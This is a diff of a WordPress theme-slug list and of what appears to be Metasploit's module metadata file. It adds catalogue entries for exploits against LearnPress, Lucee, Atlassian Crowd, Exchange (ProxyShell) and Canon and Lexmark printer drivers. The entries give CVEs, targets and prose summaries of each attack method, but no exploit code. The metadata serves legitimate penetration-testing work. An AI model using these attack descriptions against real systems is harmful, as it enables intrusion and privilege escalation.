skype-style
skysnow
skyspa-lite
skytheme
skyweb-delivery
skywp
@@ -17256,6 +17632,7 @@ smart-blogr
smart-blogs
smart-blue
smart-cat
smart-cleaning
smart-magazine
smart-reviewer-demo
smart-shopper
@@ -17268,6 +17645,7 @@ smartbiz
smartblog
smarter
smartfix
smartfund
smartline
smartline-lite
smartnews
@@ -17317,6 +17695,7 @@ sn-adaptive
sn-themes-education
snag
snake-eye
snappy
snaps
snapshoot
snapshot
@@ -17346,6 +17725,7 @@ so-lution
so-orange
so-simple
so-simple-75
so-store
sobe
sobeauty
sober
@@ -17539,6 +17919,7 @@ spectre
spectrewp
spectrum
spectrumstarter
specular-lite
speculate
speculor
speed
@@ -17556,6 +17937,7 @@ sphinx
sphinx-theme-uri-httpwww-wpcy-net
sphinx-uri-httpwww-wordpress
sphinx-uri-httpwww-wordpress-org
spice-software
spiceblue
spicepress
spicy
@@ -17617,6 +17999,7 @@ sportnewspvm
sportpress
sports-blog
sports-club-lite
sports-lite
sports-magazine
sports-theme
sportsmag
@@ -17701,6 +18084,7 @@ stan512
standard-lite
standard-two-column
standardlite
standardnewske
standardpack
standout
stans-lite
@@ -17758,8 +18142,11 @@ startup-elentra
startup-free
startup-hub
startup-lite
startup-shop
startup-techup
startupbiz-lite
startupwp
startus
state-of-mind
statement
states
@@ -17793,6 +18180,7 @@ stella
stellar
stellasss
stephstheme
steps-dance-academy
sterndal
steven
steves-desk-mess
@@ -17834,6 +18222,7 @@ store-wp
store123
store99
stoready
storebiz
storecommerce
storedesign
storefron
@@ -17849,10 +18238,12 @@ storekeeper
storeluda
storemax
storement
storenumberonetheme
storeone
storer
storeship
storevilla
storewise
storexmas
storeystrap
stork
@@ -17872,6 +18263,7 @@ stout
stout2
stowbot
stp-accessibility
stpress
straight-blue
straight-corner
straight-up
@@ -18013,6 +18405,7 @@ suited
suits
sujan
sukelius-magazine
sukha
suki
sukra
sukritinews-uri-httpswww-themehorse-comthemesnewscard
@@ -18046,6 +18439,7 @@ sun
sun-city
sun-village
sundance
sundarbans-blog
sunday
sunday-news-lite
sunflower
@@ -18089,6 +18483,7 @@ superads-lite
superb
superb-landingpage
superb-lite
superb-marketplace
superbiz
superblog
superblog-compact
@@ -18100,6 +18495,7 @@ superhero
superior
superior-com
superjackasstheme
superkit
supermag
supermagpro
supermarket
@@ -18320,6 +18716,7 @@ tastie
tasty
tastybite
tastyplacement
tastypress
tasveer
tattoo-expert
tattoo-wow
@@ -18430,6 +18827,8 @@ tectale-spring
tectale-sunset
tectale-tweety
teczilla
teczilla-business
teczilla-consulting
tedi
tedxwc
teen-seventeen
@@ -18453,6 +18852,7 @@ telugupatrikamag
teluro
tema-882-nb
tema-de-ejemplo
tema-seo
tema-teste-annagaud
temaedarwin-uri-httpsaccesspressthemes-comwordpress-themesparallaxsome
temanyadaengganteng
@@ -18478,6 +18878,7 @@ temptation
tenacity
tender-spring
tenera
tenet
tenocation
tentblogger-content
teribel
@@ -18514,6 +18915,7 @@ testtheme-uri-httpsthemegrill-comthemesspacious
testufmvm
tet28
tet30
teta-lite
tethys
tetra
teuton-theme
@@ -18522,6 +18924,7 @@ texezo
text-editor
textback
textbook
textdash
texton
texton-blue
textwp
@@ -18535,6 +18938,7 @@ tg-orange-mini
tgame
tgmpa_test
th-blogging
th-store
thai-spa
thallein
thalliumwp
@@ -18549,12 +18953,14 @@ thatsimple
thbusiness
thclassic
the-adjustbar-two-column-left-right-side-bar-default-widget
the-adventure-journal
the-angle
the-architect-website
the-artister
the-ataraxis
the-authority
the-automobile
the-baseline
the-beach
the-beach-house
the-best
@@ -18601,6 +19007,7 @@ the-erudite
the-espresso
the-essayist
the-event
the-event-dark
the-evol
the-evol-theme
the-exe
@@ -18807,6 +19214,7 @@ theorys
thephantom
thepriority
thereader
therestaurants
thermal
theron-lite
theron-pro
@@ -18833,6 +19241,7 @@ thethemebyme
thetirral
theub
thevala
thevoice
thewest
thewin
theworldin35mm
@@ -18892,6 +19301,7 @@ tidy-focus
tidymag
tienda
tienda-basic
tiffany-lite
tifology
tiga
tiger
@@ -19017,6 +19427,7 @@ toolkit
toommorel-lite
toommorel-theme-by-inkthemes
toothpaste
top-blog
top-business
top-classic-cars
top-jewelry
@@ -19026,6 +19437,7 @@ top-premium-photoblog
top-shop
top-store
top-story
top-travel
top5revs
topauto
topbest
@@ -19033,6 +19445,7 @@ topcat
topcat-lite
toperator
topessaywriting
topfaida-a3
topmag
topnews
topr
@@ -19098,6 +19511,8 @@ trade
trade-business
trade-hub
trade-line
tradebiz
tradeup
trading
traff
traffic
@@ -19127,17 +19542,21 @@ transparency
transparency-1
transparent
transparent-box
transpo-x
transport-gravity
transport-lite
transport-movers
transport-solutions
transportation
transportex
transporty
travbo
trave
travel
travel-ace
travel-advisor
travel-agency
travel-agency-booking
travel-away
travel-base
travel-blog
@@ -19160,6 +19579,7 @@ travel-eye
travel-eye12312312
travel-gem
travel-guide
travel-hub
travel-in-italy
travel-in-love
travel-insight
@@ -19167,6 +19587,7 @@ travel-inspired
travel-is-my-life
travel-is-my-life2
travel-joy
travel-life
travel-lifestyle
travel-lite
travel-log
@@ -19254,6 +19675,7 @@ trendy
trendy-green
tressimple
treville
treviso
trexo
triad
trial
@@ -19318,6 +19740,7 @@ trusted
trustnews
trvl
tryitfree
tryvary
ts
ts-365
ts-365-taraba-software
@@ -19375,10 +19798,12 @@ tutepress
tutifruti
tuto
tutor
tutor-starter
tutorial
tutorial-portfolio
tutorial-theme
tutorialesmanu
tutorstarter
tutsup-two
tuấn-hiệp
tv-boy-explode-black
@@ -19552,6 +19977,7 @@ twenty-twelve1
twenty-twelvegaeta
twenty-twelvetwentytwelve-1-7
twenty-twenty-child
twenty-twenty-one-sidebar
twenty-twenty-onee
twenty-twenty-plus
twenty-twenty20
@@ -19682,8 +20108,10 @@ ultimate-showcase
ultra
ultra-bootstrapthemes
ultra-framework
ultra-gym
ultra-lite
ultra-lite-blog
ultra-mag
ultra-mart
ultra-minimal-blog
ultra-news
@@ -19703,6 +20131,7 @@ umb
umbra
un-jour-en-hiver
una
unakit
unar
unar-lite
unax
@@ -19768,6 +20197,7 @@ uniteyy
unity
unity-theme
universal
universal-academy
universal-blog
universal-green
universal-lite
@@ -19795,6 +20225,7 @@ unos-glow
unos-magazine-black
unos-magazine-vu
unos-minima-shop
unos-news
unos-publisher
unos-store-bell
unplugged
@@ -19967,6 +20398,7 @@ velvet
vend
vender
venditore
vendorfuel
vengeful-spirit
venice
venice-blue
@@ -20052,6 +20484,7 @@ victorian-xmas
victoriana
video
video-adventure-theme
video-blog
video-sport-total
video-theme-adventure
videoblog
@@ -20119,10 +20552,12 @@ viper
viral
viral-1k
viral-blog
viral-mag
viral-news
viral-youtube-traffic
viralblog-lite
viralfree
viralike
virality
viralline
virallt-theme-uri-httpsthemecountry-comvirallt
@@ -20137,6 +20572,7 @@ virgulition
viridescence
viridi
virk-athlete
virtual-conference
virtual-height
virtual-sightseeing
virtually-2-moms-uri-httpswordpress-orgthemesvirtually2moms
@@ -20144,6 +20580,7 @@ virtue
virtue02
virtue1
virtue99
virtueandvice
virtuel-sushi
virtuetshrt
visahub-lite
@@ -20287,6 +20724,7 @@ vw-school-education
vw-security-guard
vw-solar-energy
vw-spa-lite
vw-sports
vw-startup
vw-storefront
vw-tour-lite
@@ -20325,6 +20763,7 @@ w7c_iz
wabc
wabi-sabi
wacko
wacool-hack-on-the-net
waffle
waheib
wajistar
@@ -20332,6 +20771,9 @@ wakka-business
waleed
waleed-ahmed
walili
walker-charity
walkermag
walkernews
wall-street
wallflower
wallgreen
@@ -20377,6 +20819,7 @@ watercolor
waterloo
waternymph-and-dolphin
waterside
watsapbruh
watson
wau-comunicacion
wave
@@ -20387,6 +20830,7 @@ wayne-blog-news
wbhosts
wbox
wbsimple
wbxpress
wcag-theme-free
wck2014
wcolor
@@ -20394,6 +20838,7 @@ wcolor-responsive
wd-comicmag
wd-twenty-fourteen-child
wdl-family-history
we-are-writers
we-build
we-live
weaver
@@ -20407,7 +20852,9 @@ web-20-simplified
web-app
web-artist
web-conference
web-design
web-design-web8
web-developer
web-development
web-grapple
web-host
@@ -20457,6 +20904,7 @@ websitesetup-business
websitez-mobile-theme
websopp
websopp-grocery
websopp-lab
websopp-one
webstarslite
webstarterkitthirteen
@@ -20494,8 +20942,10 @@ weddlist
weddmag
wedlock
wednesday
wedshot
wefoster
weh-lite
wehpy
weight-loss-tea
welcome
welcomeholidays-uri-httpswordpress-orgthemestwentyseventeen
@@ -20507,9 +20957,12 @@ wellbeing-hospital
wellington
wellness
wellness-child
wellness-coach-lite
wen-associate
wen-business
wen-commerce
wen-corporate
wen-travel
wepora
werka
west
@@ -20529,6 +20982,7 @@ whatnew
wheat
wheat-lite
wheat7
wheelify
whimsical-love
whimsy-framework
whiskey-air
@@ -20564,6 +21018,7 @@ white-top-show
white-turtle
white-xmas
whitebeans
whiteblogs
whiteblue
whiteboard
whiteboard64
@@ -20673,6 +21128,7 @@ wip-blog
wipi
wiral-lite
wiredrive-classic
wisdom-academy
wisdom-blog
wisdom-blog-123
wisdom-bold
@@ -20717,6 +21173,7 @@ wondrous
woo
woobie
wooclean
woocommerce-starter
wood-blog
wood-house
wood-is-good
@@ -20806,6 +21263,7 @@ wordpress-universitas-indonesia
wordpress-unix
wordpress-video-theme
words
words-blog
wordsmith
wordsmith-anvil
wordsmith-blog
@@ -20887,6 +21345,7 @@ wp-centrik
wp-chocolate
wp-christmas-theme
wp-clean-green
wp-clinic
wp-coda-orange
wp-colorized-theme
wp-commerce
@@ -20896,6 +21355,7 @@ wp-corporate
wp-creativie
wp-creativix
wp-dashboard-theme
wp-deep-blue
wp-dentist
wp-diary
wp-doppio
@@ -20963,6 +21423,7 @@ wp-news-stream
wp-newsmagazine
wp-nice-mix
wp-notebook
wp-notes
wp-one
wp-one-pager
wp-opencart
@@ -20975,6 +21436,7 @@ wp-pendidikan
wp-perfect
wp-plumber
wp-plus
wp-poran-restaurant
wp-portaltheme
wp-portfolio
wp-premium-orange
@@ -21019,6 +21481,7 @@ wp-thevalley
wp-tiles
wp-times
wp-tour-package
wp-travel-magazine
wp-trie
wp-tube-premium
wp-twitter-bootstrap
@@ -21060,14 +21523,18 @@ wpburn-blue
wpbus-d4
wpbyd
wpcake
wpcan
wpchimp-countdown
wpclick
wpcmart
wpcomic
wpcount
wpcouponcode
wpcplant
wpcrest
wpcrux
wpcs-ocean
wpcstore
wpd-inspire
wpdetail
wpdev
@@ -21229,6 +21696,7 @@ x-business
x-corporate
x-crop
x-effect
x-hub
x-magazine
x-mas
x-portfolio
@@ -21282,6 +21750,7 @@ xonstruction
xooblog
xoxo
xoxolite
xpand-blog
xperson-lite
xpinkfevertlx
xpressmag
@@ -21290,6 +21759,7 @@ xproweb
xq-wptheme-dsijakxq
xseason
xshop
xshop-plus
xsimply
xt-corporate-lite
xtempt
@@ -21378,6 +21848,8 @@ yo-yo-po
yo_fik
yocto
yoga
yoga-fitness
yoga-studio
yoga_guru
yogaclub-lite
yogafitness
@@ -21589,6 +22061,7 @@ zinglish
zinnia
zinnias-lite
zion
zion-blog
zippy
zircone
zita
+455 -43
View File
@@ -9703,7 +9703,7 @@
],
"targets": null,
"mod_time": "2019-06-24 12:40:01 +0000",
"mod_time": "2021-05-27 15:15:31 +0000",
"path": "/modules/auxiliary/cloud/aws/enum_ec2.rb",
"is_install_path": true,
"ref_name": "cloud/aws/enum_ec2",
@@ -9741,7 +9741,7 @@
],
"targets": null,
"mod_time": "2019-06-26 14:57:32 +0000",
"mod_time": "2021-05-27 15:15:31 +0000",
"path": "/modules/auxiliary/cloud/aws/enum_iam.rb",
"is_install_path": true,
"ref_name": "cloud/aws/enum_iam",
@@ -9779,7 +9779,7 @@
],
"targets": null,
"mod_time": "2019-06-25 16:35:44 +0000",
"mod_time": "2021-05-27 15:15:31 +0000",
"path": "/modules/auxiliary/cloud/aws/enum_s3.rb",
"is_install_path": true,
"ref_name": "cloud/aws/enum_s3",
@@ -35086,6 +35086,68 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/wp_learnpress_sqli": {
"name": "Wordpress LearnPress current_items Authenticated SQLi",
"fullname": "auxiliary/scanner/http/wp_learnpress_sqli",
"aliases": [
],
"rank": 300,
"disclosure_date": "2020-04-29",
"type": "auxiliary",
"author": [
"h00die",
"Omri Herscovici",
"Sagi Tzadik",
"nhattruong"
],
"description": "LearnPress, a learning management plugin for WordPress,\n prior to 3.2.6.8 is affected by an authenticated SQL injection via the\n current_items parameter of the post-new.php page.",
"references": [
"CVE-2020-6010",
"URL-https://research.checkpoint.com/2020/e-learning-platforms-getting-schooled-multiple-vulnerabilities-in-wordpress-most-popular-learning-management-system-plugins/",
"EDB-50137",
"WPVDB-10208"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2021-08-25 14:17:47 +0000",
"path": "/modules/auxiliary/scanner/http/wp_learnpress_sqli.rb",
"is_install_path": true,
"ref_name": "scanner/http/wp_learnpress_sqli",
"check": false,
"post_auth": true,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/wp_loginizer_log_sqli": {
"name": "WordPress Loginizer log SQLi Scanner",
"fullname": "auxiliary/scanner/http/wp_loginizer_log_sqli",
@@ -43563,7 +43625,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2021-01-28 10:35:25 +0000",
"mod_time": "2021-08-17 22:10:51 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_enum_gpp.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_enum_gpp",
@@ -45246,7 +45308,7 @@
],
"targets": null,
"mod_time": "2021-04-07 11:59:22 +0000",
"mod_time": "2021-07-13 17:25:19 +0000",
"path": "/modules/auxiliary/scanner/ssh/ssh_login.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/ssh_login",
@@ -45285,7 +45347,7 @@
],
"targets": null,
"mod_time": "2021-07-09 13:27:15 +0000",
"mod_time": "2021-08-09 18:34:08 +0000",
"path": "/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb",
"is_install_path": true,
"ref_name": "scanner/ssh/ssh_login_pubkey",
@@ -60679,6 +60741,71 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_linux/http/lucee_admin_imgprocess_file_write": {
"name": "Lucee Administrator imgProcess.cfm Arbitrary File Write",
"fullname": "exploit/linux/http/lucee_admin_imgprocess_file_write",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-01-15",
"type": "exploit",
"author": [
"rootxharsh",
"iamnoooob",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploits an arbitrary file write in Lucee Administrator's\n imgProcess.cfm file to execute commands as the Tomcat user.",
"references": [
"CVE-2021-21307",
"URL-https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643",
"URL-https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r",
"URL-https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64",
"rport": 8888,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command",
"Linux Dropper"
],
"mod_time": "2021-08-05 13:02:22 +0000",
"path": "/modules/exploits/linux/http/lucee_admin_imgprocess_file_write.rb",
"is_install_path": true,
"ref_name": "linux/http/lucee_admin_imgprocess_file_write",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_linux/http/mailcleaner_exec": {
"name": "Mailcleaner Remote Code Execution",
"fullname": "exploit/linux/http/mailcleaner_exec",
@@ -71353,7 +71480,7 @@
"Linux x86",
"Linux x86_64"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-08-20 16:06:16 +0000",
"path": "/modules/exploits/linux/postgres/postgres_payload.rb",
"is_install_path": true,
"ref_name": "linux/postgres/postgres_payload",
@@ -76771,6 +76898,70 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce": {
"name": "Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE",
"fullname": "exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2019-05-22",
"type": "exploit",
"author": [
"Paul",
"Corben Leo",
"Grant Willcox"
],
"description": "This module can be used to upload a plugin on Atlassian Cloud via\n the pdkinstall development plugin as an unauthenticated attacker.\n The payload is uploaded as a JAR archive containing a servlet using\n a POST request to /crowd/admin/uploadplugin.action. The check command will\n check that the /crowd/admin/uploadplugin.action page exists and that it\n responds appropriately to determine if the target is vulnerable or not.",
"references": [
"CVE-2019-11580",
"URL-https://jira.atlassian.com/browse/CWD-5388",
"URL-https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html",
"URL-https://www.corben.io/atlassian-crowd-rce/"
],
"platform": "Java",
"arch": "java",
"rport": 8095,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Java Universal"
],
"mod_time": "2021-08-05 13:10:24 +0000",
"path": "/modules/exploits/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce.rb",
"is_install_path": true,
"ref_name": "multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/http/atutor_sqli": {
"name": "ATutor 2.2.1 SQL Injection / Remote Code Execution",
"fullname": "exploit/multi/http/atutor_sqli",
@@ -132943,6 +133134,81 @@
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/http/exchange_proxyshell_rce": {
"name": "Microsoft Exchange ProxyShell RCE",
"fullname": "exploit/windows/http/exchange_proxyshell_rce",
"aliases": [
],
"rank": 600,
"disclosure_date": "2021-04-06",
"type": "exploit",
"author": [
"Orange Tsai",
"Jang ( <Jang (@testanull)>",
"PeterJson",
"brandonshi123",
"mekhalleh (RAMELLA Sébastien)",
"Spencer McIntyre",
"wvu <wvu@metasploit.com>"
],
"description": "This module exploit a vulnerability on Microsoft Exchange Server that\n allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an\n arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve\n the RCE (Remote Code Execution).\n\n By taking advantage of this vulnerability, you can execute arbitrary\n commands on the remote Microsoft Exchange Server.\n\n This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,\n Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,\n Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.\n\n All components are vulnerable by default.",
"references": [
"CVE-2021-34473",
"CVE-2021-34523",
"CVE-2021-31207",
"URL-https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1",
"URL-https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf",
"URL-https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/"
],
"platform": "Windows",
"arch": "cmd, x64, x86",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows Powershell",
"Windows Dropper",
"Windows Command"
],
"mod_time": "2021-08-19 10:30:21 +0000",
"path": "/modules/exploits/windows/http/exchange_proxyshell_rce.rb",
"is_install_path": true,
"ref_name": "windows/http/exchange_proxyshell_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
],
"AKA": [
"ProxyShell"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/http/ezserver_http": {
"name": "EZHomeTech EzServer Stack Buffer Overflow Vulnerability",
"fullname": "exploit/windows/http/ezserver_http",
@@ -142044,7 +142310,7 @@
"asoto-r7",
"Jacob Robles"
],
"description": "On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented\n by the task scheduler service can be used to write arbitrary DACLs to `.job` files located\n in `c:\\windows\\tasks` because the scheduler does not use impersonation when checking this\n location. Since users can create files in the `c:\\windows\\tasks` folder, a hardlink can be\n created to a file the user has read access to. After creating a hardlink, the vulnerability\n can be triggered to set the DACL on the linked file.\n\n WARNING:\n The PrintConfig.dll (%windir%\\system32\\driverstor\\filerepository\\prnms003*) on the target host\n will be overwritten when the exploit runs.\n\n This module has been tested against Windows 10 Pro x64.",
"description": "On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented\n by the task scheduler service can be used to write arbitrary DACLs to `.job` files located\n in `c:\\windows\\tasks` because the scheduler does not use impersonation when checking this\n location. Since users can create files in the `c:\\windows\\tasks` folder, a hardlink can be\n created to a file the user has read access to. After creating a hardlink, the vulnerability\n can be triggered to set the DACL on the linked file.\n\n WARNING:\n The PrintConfig.dll (%windir%\\system32\\driverstor\\filerepository\\prnms003*) on the target host\n will be overwritten when the exploit runs.\n\n This module has been tested against Windows 10 Pro x64.",
"references": [
"CVE-2018-8440",
"URL-https://github.com/SandboxEscaper/randomrepo/"
@@ -142061,7 +142327,7 @@
"targets": [
"Windows 10 x64"
],
"mod_time": "2020-09-22 02:56:51 +0000",
"mod_time": "2021-08-26 09:27:21 +0000",
"path": "/modules/exploits/windows/local/alpc_taskscheduler.rb",
"is_install_path": true,
"ref_name": "windows/local/alpc_taskscheduler",
@@ -143028,6 +143294,58 @@
],
"needs_cleanup": true
},
"exploit_windows/local/canon_driver_privesc": {
"name": "Canon Driver Privilege Escalation",
"fullname": "exploit/windows/local/canon_driver_privesc",
"aliases": [
],
"rank": 300,
"disclosure_date": "2021-08-07",
"type": "exploit",
"author": [
"Jacob Baines",
"Shelby Pace"
],
"description": "Canon TR150 print drivers versions 3.71.2.10 and below allow local users to read/write files\n within the \"CanonBJ\" directory and its subdirectories. By overwriting the DLL at\n C:\\ProgramData\\CanonBJ\\IJPrinter\\CNMWINDOWS\\Canon TR150 series\\LanguageModules\\040C\\CNMurGE.dll\n with a malicious DLL at the right time whilst running the C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs\n script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,\n which runs as NT AUTHORITY\\SYSTEM, to successfully load the malicious DLL. Successful exploitation\n will grant attackers code execution as the NT AUTHORITY\\SYSTEM user.\n\n This module leverages the prnmngr.vbs script\n to add and delete printers. Multiple runs of this\n module may be required given successful exploitation\n is time-sensitive.",
"references": [
"CVE-2021-38085"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Windows"
],
"mod_time": "2021-08-09 14:23:05 +0000",
"path": "/modules/exploits/windows/local/canon_driver_privesc.rb",
"is_install_path": true,
"ref_name": "windows/local/canon_driver_privesc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"artifacts-on-disk"
],
"Reliability": [
"unreliable-session"
],
"Stability": [
"service-resource-loss"
]
},
"session_types": [
"meterpreter"
],
"needs_cleanup": true
},
"exploit_windows/local/capcom_sys_exec": {
"name": "Windows Capcom.sys Kernel Execution Exploit (x64 only)",
"fullname": "exploit/windows/local/capcom_sys_exec",
@@ -143057,7 +143375,7 @@
"targets": [
"Windows x64 (<= 10)"
],
"mod_time": "2021-02-22 18:47:46 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/capcom_sys_exec.rb",
"is_install_path": true,
"ref_name": "windows/local/capcom_sys_exec",
@@ -143235,7 +143553,7 @@
"Kaspersky Lab",
"Jacob Robles"
],
"description": "An elevation of privilege vulnerability exists in Windows when the Win32k component\n fails to properly handle objects in memory, aka \"Win32k Elevation of Privilege Vulnerability.\"\n This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows\n Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2,\n Windows 10, Windows 10 Servers.\n\n This module is tested against Windows 10 v1703 x86.",
"description": "An elevation of privilege vulnerability exists in Windows when the Win32k component\n fails to properly handle objects in memory, aka \"Win32k Elevation of Privilege Vulnerability.\"\n This affects Windows 7, Windows Server 2012 R2, Windows RT 8.1, Windows Server 2008, Windows\n Server 2019, Windows Server 2012, Windows 8.1, Windows Server 2016, Windows Server 2008 R2,\n Windows 10, Windows 10 Servers.\n This module is tested against Windows 10 v1703 x86.",
"references": [
"CVE-2018-8453",
"URL-https://github.com/ze0r/cve-2018-8453-exp",
@@ -143256,7 +143574,7 @@
"targets": [
"Windows 10 v1703 (Build 15063) x86"
],
"mod_time": "2020-06-11 13:09:25 +0000",
"mod_time": "2021-08-10 21:49:42 +0000",
"path": "/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2018_8453_win32k_priv_esc",
@@ -143311,7 +143629,7 @@
"targets": [
"Windows 7 x64"
],
"mod_time": "2021-02-17 12:33:59 +0000",
"mod_time": "2021-07-20 15:54:09 +0000",
"path": "/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2019_1458_wizardopium",
@@ -143324,6 +143642,9 @@
],
"Reliability": [
"unreliable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": [
@@ -143366,7 +143687,7 @@
"targets": [
"Windows x64"
],
"mod_time": "2021-05-13 04:01:03 +0000",
"mod_time": "2021-07-21 12:35:47 +0000",
"path": "/modules/exploits/windows/local/cve_2020_0668_service_tracing.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_0668_service_tracing",
@@ -143374,8 +143695,14 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk"
],
"Reliability": [
"repeatable-session"
]
},
"session_types": [
@@ -143418,7 +143745,7 @@
"targets": [
"Windows DLL Dropper"
],
"mod_time": "2021-02-17 12:33:59 +0000",
"mod_time": "2021-07-01 11:58:13 +0000",
"path": "/modules/exploits/windows/local/cve_2020_0787_bits_arbitrary_file_move.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_0787_bits_arbitrary_file_move",
@@ -143473,7 +143800,7 @@
"targets": [
"Windows 10 v1903-1909 x64"
],
"mod_time": "2021-04-09 13:23:30 +0000",
"mod_time": "2021-07-20 15:54:09 +0000",
"path": "/modules/exploits/windows/local/cve_2020_0796_smbghost.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_0796_smbghost",
@@ -143488,6 +143815,9 @@
"Stability": [
"crash-os-restarts"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
],
@@ -143582,7 +143912,7 @@
"targets": [
"Windows 7 x64"
],
"mod_time": "2021-03-31 12:06:15 +0000",
"mod_time": "2021-07-20 15:54:09 +0000",
"path": "/modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2020_1054_drawiconex_lpe",
@@ -143595,6 +143925,9 @@
],
"Reliability": [
"unreliable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": [
@@ -143791,7 +144124,7 @@
"targets": [
"Windows 10 v1803-20H2 x64"
],
"mod_time": "2021-05-13 12:56:47 +0000",
"mod_time": "2021-07-01 11:58:13 +0000",
"path": "/modules/exploits/windows/local/cve_2021_1732_win32k.rb",
"is_install_path": true,
"ref_name": "windows/local/cve_2021_1732_win32k",
@@ -143804,6 +144137,9 @@
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
]
},
"session_types": [
@@ -144211,6 +144547,62 @@
],
"needs_cleanup": true
},
"exploit_windows/local/lexmark_driver_privesc": {
"name": "Lexmark Driver Privilege Escalation",
"fullname": "exploit/windows/local/lexmark_driver_privesc",
"aliases": [
],
"rank": 300,
"disclosure_date": "2021-07-15",
"type": "exploit",
"author": [
"Jacob Baines",
"Shelby Pace",
"Grant Willcox"
],
"description": "Various Lexmark Universal Printer drivers as listed at advisory TE953\n allow low-privileged authenicated users to elevate their privileges to\n SYSTEM on affected Windows systems by modifying the XML file at\n C:\\ProgramData\\<driver name>\\Universal Color Laser.gdl\n to replace the DLL path to unires.dll with a malicious DLL path.\n\n When C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs is\n then used to add the printer to the affected system, PrintIsolationHost.exe,\n a Windows process running as NT AUTHORITY\\SYSTEM, will inspect the\n C:\\ProgramData\\<driver name>\\Universal Color Laser.gdl file and will\n load the malicious DLL from the path specified in the file. This which will\n result in the malicious DLL executing as NT AUTHORITY\\SYSTEM.\n\n Once this module is finished, it will use the prnmngr.vbs script\n to remove the printer it added.",
"references": [
"CVE-2021-35449",
